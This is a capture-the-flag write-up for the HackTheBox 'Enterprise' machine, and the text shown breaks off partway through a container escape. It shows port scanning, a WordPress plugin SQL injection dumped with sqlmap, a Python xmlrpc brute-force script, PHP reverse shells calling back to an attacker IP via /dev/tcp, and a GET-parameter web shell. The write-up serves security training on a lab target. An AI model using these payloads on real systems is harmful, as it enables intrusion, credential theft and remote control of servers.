Enterprise

In this writeup we solve the Enterprise machine from HackTheBox. It is a very interesting medium machine: we cover WordPress and Joomla web enumeration and SQL injections, escape from a Docker container and finally exploit a very interesting buffer overflow with the ret2libc technique
November 11, 202327 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
ping -c 1 10.10.10.61
PING 10.10.10.61 (10.10.10.61) 56(84) bytes of data.
64 bytes from 10.10.10.61: icmp_seq=1 ttl=63 time=94.2 ms
--- 10.10.10.61 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 94.201/94.201/94.201/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.61 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.61
5 │ [*] Open ports: 22,80,443,8080,32812
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
$ nmap -sCV -p22,80,443,8080,32812 10.10.10.61 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
| 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-title: USS Enterprise – Ships Log
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.25 (Ubuntu)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after: 2017-09-24T10:35:14
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
32812/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
| Enter Bridge Access Code:
| Invalid Code
| Terminating Console
| NULL:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
|_ Enter Bridge Access Code:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port32812-TCP:V=7.94%I=7%D=11/11%Time=654FAA2C%P=x86_64-pc-linux-gnu%r(
SF:NULL,ED,"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_______\x20_______\x20\x20______\x20_______\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\
SF:x20\x20\|_____\|\x20\|_____/\x20\|______\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\|_____\x20\|_____\x20\x20\|\x20\x20\x20\x20\x20\|\x20\|\x20
SF:\x20\x20\x20\\_\x20______\|\n\nWelcome\x20to\x20the\x20Library\x20Compu
SF:ter\x20Access\x20and\x20Retrieval\x20System\n\nEnter\x20Bridge\x20Acces
SF:s\x20Code:\x20\n")%r(GenericLines,110,"\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20______\
SF:x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\
SF:x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|______\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|\x
SF:20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\x2
SF:0to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Syst
SF:em\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTermin
SF:ating\x20Console\n\n")%r(GetRequest,110,"\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20_____
SF:_\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x2
SF:0\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|_____
SF:_\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|
SF:\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\
SF:x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Sy
SF:stem\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTerm
SF:inating\x20Console\n\n")%r(HTTPOptions,110,"\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20__
SF:____\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20
SF:\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|__
SF:____\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x2
SF:0\|\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelco
SF:me\x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x2
SF:0System\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nT
SF:erminating\x20Console\n\n");
Service Info: OS: Linux; CPE: cpe:/
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
Port 443
nmap reported a website running on port 443. When we open it, it shows Apache’s default Ubuntu page. There might be other paths, so we’ll do some fuzzing
wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.61/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000094: 301 9 L 28 W 312 Ch "files"
Parameter explanation
- -c: Colored output
- -t: Number of concurrent threads
- –hc=404: Hide responses with a 404 status code, meaning we don’t want it to report pages that don’t exist
- -w: Wordlist
- FUZZ: Where the wordlist entries will be tried
wfuzz reported a directory called files. Inside there is a file called lcars.zip, which, once downloaded and unzipped, contains 3 files:
lcars.php
This file is empty: it contains no PHP code, but it does have some comments that suggest it’s a plugin for some website. We can see the plugin’s name, lcars, the domain name, enterprise.htb, and 3 comments: Need to create the user interface, need to finsih the db interface and need to make it secure. The last comment says it still needs to be made more secure, so the plugin may be vulnerable.
<?php /* * Plugin Name: lcars * Plugin URI: enterprise.htb * Description: Library Computer Access And Retrieval System * Author: Geordi La Forge * Version: 0.2 * Author URI: enterprise.htb * */ // Need to create the user interface. // need to finsih the db interface // need to make it secure ?>lcars_dbpost.php
This file contains PHP code. The code includes the file
/var/www/html/wp-config.php, which most likely holds the database credentials. Then it makes a database query,SELECT post_title FROM wp_posts WHERE ID = $query, selecting the “post_title” from the wp_posts table where the ID equals $query, and $query is whatever is sent via GET in the query parameter. Before making the query, it converts the data passed in the query parameter to an int (a number), which suggests it expects a number. This doesn’t look vulnerable, since it converts the data we send to an int.<?php include "/var/www/html/wp-config.php"; $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); // Test the connection: if (mysqli_connect_errno()){ // Connection Error exit("Couldn't connect to the database: ".mysqli_connect_error()); } // test to retireve a post name if (isset($_GET['query'])){ $query = (int)$_GET['query']; $sql = "SELECT post_title FROM wp_posts WHERE ID = $query"; $result = $db->query($sql); if ($result){ $row = $result->fetch_row(); if (isset($row[0])){ echo $row[0]; } } } else { echo "Failed to read query"; } ?>lcars_db.php
Finally, the lcars_db.php file also contains PHP code. The code again includes
/var/www/html/wp-config.php, which, as I said before, is most likely the file with the database credentials. Then it makes a database query selecting the IDs from the “wp_posts” table where the “post_name” column equals $query. In this script, $query refers to the data we send via GET in the query parameter:SELECT ID FROM wp_posts WHERE post_name = $query. This file is a bit different, since the query isn’t the same and $query is no longer a number. Since it doesn’t convert our input to an int, our input goes straight into the query without any kind of sanitization, which looks like it could be vulnerable to SQLi<?php include "/var/www/html/wp-config.php"; $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); // Test the connection: if (mysqli_connect_errno()){ // Connection Error exit("Couldn't connect to the database: ".mysqli_connect_error()); } // test to retireve an ID if (isset($_GET['query'])){ $query = $_GET['query']; $sql = "SELECT ID FROM wp_posts WHERE post_name = $query"; $result = $db->query($sql); echo $result; } else { echo "Failed to read query"; } ?>
enterprise.htb
In the first file inside lcars, we spotted a comment mentioning a domain:
Plugin URI: enterprise.htb
For the domain to work, we need to add it to /etc/hosts along with the target machine’s IP, so our machine knows what we mean when we refer to enterprise.htb.
10.10.10.61 enterprise.htb
Once this step is done, we can open the website using the domain. But first, let’s run whatweb to get a bit more information about the website
whatweb enterprise.htb
http://enterprise.htb [200 OK] Apache[2.4.10], Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], IP[10.10.10.61], JQuery[1.12.4], MetaGenerator[WordPress 4.8.1], PHP[5.6.31], PoweredBy[WordPress], Script[text/javascript], Title[USS Enterprise – Ships Log], UncommonHeaders[link], WordPress[4.8.1], X-Powered-By[PHP/5.6.31]
From the whatweb output we can see it’s WordPress version 4.8.1 (a quite outdated version)
Knowing it’s WordPress, we can use wpscan to enumerate users.
wpscan --url=http://enterprise.htb -e u
[i] User(s) Identified:
[+] william.riker
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Login Error Messages (Aggressive Detection)
[+] william-riker
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
It found 2 possible users, william.riker and william-riker. They’re basically the same user, but written differently in different parts of the website. Under william.riker it says Login Error Messages, so we’ll assume the user is william-riker
SQLi exploitation
Now we could check whether the plugin mentioned on the other website is installed on this WordPress. To find out without being authenticated, we’ll do the following: WordPress plugins are usually in wp-content/plugins/, so we can try to access the wp-content/plugins/lcars folder, which should be the plugin’s folder, since it’s called lcars. If we curl that folder, it responds with a 403 code, which means forbidden
curl -o /dev/null -s -w "%{http_code}\n" enterprise.htb/wp-content/plugins/lcars/
403
But if we make the same request for a random folder, it returns a 404, Not Found
curl -o /dev/null -s -w "%{http_code}\n" enterprise.htb/wp-content/plugins/testing/
404
With these two commands we can conclude that a folder called lcars does exist, but we don’t have permission to see its contents. However, we have an advantage, since we’ve seen the plugin’s code and already know which files might be there and which one might be vulnerable.
Let’s check with curl whether the lcars_db.php file exists, the one we saw earlier that looked like it could be vulnerable to SQLi
curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php"
Failed to read query
If we remember, we could send it things via GET in the query parameter
curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=test"
But it doesn’t return anything. Let’s try adding an SQL injection that makes the query take 5 seconds to process, 1 and sleep(5), combined with the URL-encoded curl command and the time command, so it tells us how long the command takes to run. (To URL-encode the SQLi payload you can use a website or do it manually, replacing spaces with %20 and “()” with %28 and %29)
time curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1%20and%20sleep%285%29"
<br />
<b>Catchable fatal error</b>: Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br />
real 6.71s
user 0.00s
sys 0.01s
cpu 0%
Confirmed, it’s vulnerable: we told the database to sleep for 5 seconds and the request took 6.71, which means it worked
To automate the injection we’ll use sqlmap. sqlmap is banned in some certifications like OSCP, but it’s very handy for this machine, since doing it manually would take a long, long time!
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch
Parameter: query (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: query=(SELECT (CASE WHEN (9063=9063) THEN 1 ELSE (SELECT 3395 UNION SELECT 7761) END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: query=1 AND (SELECT 6881 FROM(SELECT COUNT(*),CONCAT(0x71766b7171,(SELECT (ELT(6881=6881,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: query=1 AND (SELECT 1921 FROM (SELECT(SLEEP(5)))CmQp)
sqlmap confirms it’s vulnerable and tells us the 3 types of SQLi that can be used
- boolean-based blind
- error-based
- time-based blind
To enumerate the databases we’ll use the --dbs parameter
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch --dbs
available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb
Now that we know which databases there are, let’s see which tables the WordPress database has. For this, we specify the database with -D and list the tables with --tables
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D wordpress --tables
Database: wordpress
[12 tables]
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
Now we’ll extract all the information from the wp_users table, specifying the table with -T and dumping its contents with --dump
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D wordpress -T wp_users --dump
Database: wordpress
Table: wp_users
[1 entry]
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| 1 | <blank> | $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2. | william.riker@enterprise.htb | william.riker | 0 | william.riker | william-riker | 2017-09-03 19:20:56 | <blank> |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
Now we can confirm the user william.riker exists, and we have his hashed password: $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.. We can try to crack this hash like this.
echo '$P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
I left it running for quite a while with no luck, so let’s keep enumerating the database. Let’s look at the contents of the wp_posts table
In the post_content column we see 3 entries containing the following text
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n
To have the line breaks interpreted, we can use Python:
$python3
>>> print('Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n')
Needed somewhere to put some passwords quickly
ZxJyhGem4k338S2Y
enterprisencc170
ZD3YxfnSjezg67JZ
u*Z14ru0p#ttj83zS6
It looks like we now have 4 passwords that might be WordPress ones. We won’t try them one by one; we’ll brute force them automatically in 3 different ways
This WordPress has xmlrpc.php accessible, so we can use it for the brute force. First we’ll list the available methods by sending a POST request with the following data
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
curl -X POST "http://enterprise.htb/xmlrpc.php" [email protected]
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
.....
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
The wp.getUsersBlogs method is available. With this method we can brute force using the following data, replacing the username parameter with the user and password with the password
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>USERNAME</value></param>
<param><value>PASSWORD</value></param>
</params>
</methodCall>
When we send this request we get the following
curl -X POST “http://enterprise.htb/xmlrpc.php” [email protected]
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
....
<value><string>Incorrect username or password.</string></value>
....
</methodResponse>
Now we’ll write a Python script to automate this check, and we’ll save all the passwords in a file called passwords.txt
import requests
from pwn import *
url = "http://enterprise.htb/xmlrpc.php"
dict = "passwords.txt"
user = "william.riker"
data = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>{}</value></param>
<param><value>{}</value></param>
</params>
</methodCall>
"""
p1 = log.progress("Número de contraseñas probadas")
p2 = log.progress("Contraseña")
words = 0
with open(dict, 'r') as diccionario:
for i in diccionario:
words += 1
p1.status(words)
a = requests.post(url, data=data.format(user, i))
if "Incorrect username or password" not in a.text:
p2.success(i)
p1.success(words)
At the beginning of the script 4 variables are declared: the URL with the path to xmlrpc.php, the wordlist of possible passwords, the user to test the passwords with, and the data to send via POST, with some “{}” where the user and password go, indicating that a variable we’ll define later goes there. Then we open the wordlist and loop over each of its lines. Next, a request is sent with the password for that iteration, and we check whether the response contains the phrase “Incorrect username or password”. If it doesn’t, the credentials are correct
python3 script.py
[+] Número de contraseñas probadas: 4
[+] Contraseña: u*Z14ru0p#ttj83zS6
Now we have the WordPress password and can log in at /wp-admin. Once logged in, to send ourselves a reverse shell, we simply go to Appearance > Editor > 404 template. We’ll modify 404.php, which is shown when we go to a wrong path, and add the following line
system('bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1"');
We listen with netcat
nc -nlvp 443
Parameter explanation
- n: Skip DNS resolution
- l: Enable netcat’s listen mode
- v: Verbose mode
- p: Finally, p specifies the port number we’ll be listening on
Finally, we curl a post that doesn’t exist
curl http://enterprise.htb/?p=10000000
And we get the connection
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 32890
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b8319d86d21e:/var/www/html$
Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm
export TERM=xterm
Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash
export SHELL=bash
When we check our IP, we see it isn’t the target machine’s:
www-data@b8319d86d21e:/var/www/html$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 scope global eth0
valid_lft forever preferred_lft forever
If we list the contents of the root directory, we see we’re in a Docker container because of the .dockerenv file
www-data@b8319d86d21e:/var/www/html$ ls -la /
total 72
drwxr-xr-x 73 root root 4096 May 30 2022 .
drwxr-xr-x 73 root root 4096 May 30 2022 ..
-rwxr-xr-x 1 root root 0 Sep 3 2017 .dockerenv
Going back to the IP, we have 172.17.0.3, and 172.17.0.1 is the host machine, which will most likely be 10.10.10.61. But it’s odd that we were assigned 172.17.0.3 and not 172.17.0.2; there may be more than one Docker container, with one at .2. We can check this with a ping.
www-data@b8319d86d21e:/var/www/html$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2): 56 data bytes
64 bytes from 172.17.0.2: icmp_seq=0 ttl=64 time=0.061 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.061/0.061/0.061/0.000 ms
There is indeed a container at .2. Going back to the beginning, there was a third website running on port 8080. Before opening it, let’s run whatweb on it, like we did with WordPress, to see what it is.
whatweb 10.10.10.61:8080
http://10.10.10.61:8080 [200 OK] Apache[2.4.10], Bootstrap, Cookies[14cd8f365a67fad648754407628a1809], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], HttpOnly[14cd8f365a67fad648754407628a1809], IP[10.10.10.61], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PHP[7.0.23], PasswordField[password], Script[application/json], Title[Home], X-Powered-By[PHP/7.0.23]
It’s Joomla! If we remember, the WordPress SQLi revealed a Joomla database, so we can extract usernames and passwords. First we enumerate the tables.
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D joomladb --tables
Database: joomladb
[72 tables]
+-------------------------------+
| edz2g_assets |
| edz2g_associations |
| edz2g_banner_clients |
| edz2g_banner_tracks |
| edz2g_banners |
| edz2g_categories |
| edz2g_contact_details |
| edz2g_content |
| edz2g_content_frontpage |
| edz2g_content_rating |
| edz2g_content_types |
| edz2g_contentitem_tag_map |
| edz2g_core_log_searches |
| edz2g_extensions |
| edz2g_fields |
| edz2g_fields_categories |
| edz2g_fields_groups |
| edz2g_fields_values |
| edz2g_finder_filters |
| edz2g_finder_links |
| edz2g_finder_links_terms0 |
| edz2g_finder_links_terms1 |
| edz2g_finder_links_terms2 |
| edz2g_finder_links_terms3 |
| edz2g_finder_links_terms4 |
| edz2g_finder_links_terms5 |
| edz2g_finder_links_terms6 |
| edz2g_finder_links_terms7 |
| edz2g_finder_links_terms8 |
| edz2g_finder_links_terms9 |
| edz2g_finder_links_termsa |
| edz2g_finder_links_termsb |
| edz2g_finder_links_termsc |
| edz2g_finder_links_termsd |
| edz2g_finder_links_termse |
| edz2g_finder_links_termsf |
| edz2g_finder_taxonomy |
| edz2g_finder_taxonomy_map |
| edz2g_finder_terms |
| edz2g_finder_terms_common |
| edz2g_finder_tokens |
| edz2g_finder_tokens_aggregate |
| edz2g_finder_types |
| edz2g_languages |
| edz2g_menu |
| edz2g_menu_types |
| edz2g_messages |
| edz2g_messages_cfg |
| edz2g_modules |
| edz2g_modules_menu |
| edz2g_newsfeeds |
| edz2g_overrider |
| edz2g_postinstall_messages |
| edz2g_redirect_links |
| edz2g_schemas |
| edz2g_session |
| edz2g_tags |
| edz2g_template_styles |
| edz2g_ucm_base |
| edz2g_ucm_content |
| edz2g_ucm_history |
| edz2g_update_sites |
| edz2g_update_sites_extensions |
| edz2g_updates |
| edz2g_user_keys |
| edz2g_user_notes |
| edz2g_user_profiles |
| edz2g_user_usergroup_map |
| edz2g_usergroups |
| edz2g_users |
| edz2g_utf8_conversion |
| edz2g_viewlevels |
+-------------------------------+
Now let’s look at the contents of the edz2g_users table
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D joomladb -T edz2g_users --dump
Database: joomladb
Table: edz2g_users
[2 entries]
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
| id | otep | email | name | otpKey | params | block | password | username | sendEmail | activation | resetCount | registerDate | requireReset | lastResetTime | lastvisitDate |
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
| 400 | <blank> | [email protected] | Super User | <blank> | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0 | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy | geordi.la.forge | 1 | 0 | 0 | 2017-09-03 19:30:04 | 0 | 0000-00-00 00:00:00 | 2017-10-17 04:24:50 |
| 401 | <blank> | [email protected] | Guinan | <blank> | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0 | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q | Guinan | 0 | <blank> | 0 | 2017-09-06 12:38:03 | 0 | 0000-00-00 00:00:00 | 0000-00-00 00:00:00 |
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
We see 2 users with their hashed credentials, which we can try to crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
I left it running for a good while, but it doesn’t find them. Maybe some of the credentials in the WordPress post belong to Joomla. With this script we can brute force to find the correct Joomla credentials
python3 joomla-brute.py -u http://10.10.10.61:8080 -usr geordi.la.forge -w passwords.txt
geordi.la.forge:ZD3YxfnSjezg67JZ
Now we have valid Joomla credentials as Super User. Sending ourselves the reverse shell is quite similar to WordPress: we just go to Extensions > Templates > Templates > the active template > error.php and paste the same code we used in WordPress.
system('bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1"');
We listen with netcat
nc -nlvp 443
Parameter explanation
- n: Skip DNS resolution
- l: Enable netcat’s listen mode
- v: Verbose mode
- p: Finally, p specifies the port number we’ll be listening on
And we curl a random page on the website that doesn’t exist.
curl http://10.10.10.61:8080/testing
We get the connection!
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 42390
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a7018bfdc454:/var/www/html$
Before going on, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm
export TERM=xterm
Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash
export SHELL=bash
If we run ip a, we see we’re in a different container from the WordPress one
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.4/16 scope global eth0
valid_lft forever preferred_lft forever
Privilege escalation
Escaping the container
In the console we got through Joomla, if we go to /var/www/html we see a folder called files containing an lcars.zip. This is the same thing we saw on the website running on port 443, so this folder may be synced. We can write inside the files folder, so we can drop a malicious PHP file and try to run it from the website on port 443.
8bfdc454:/var/www/html/files$ echo '<?php system($_GET["cmd"]); ?>' > script.php
Now, if we go to the website, open script.php and pass a command via GET in the cmd parameter, we see the result
https://10.10.10.61/files/script.php?cmd=ls
To send the reverse shell we’ll use the usual one (bash -c “bash -i >& /dev/tcp/10.10.14.4/443 0>&1”), but we’ll run it through a URL encoder so it doesn’t cause problems
https://10.10.10.61/files/script.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.4%2F443%200%3E%261%22
We listen with netcat
nc -nlvp 443
Parameter explanation
- n: Skip DNS resolution
- l: Enable netcat’s listen mode
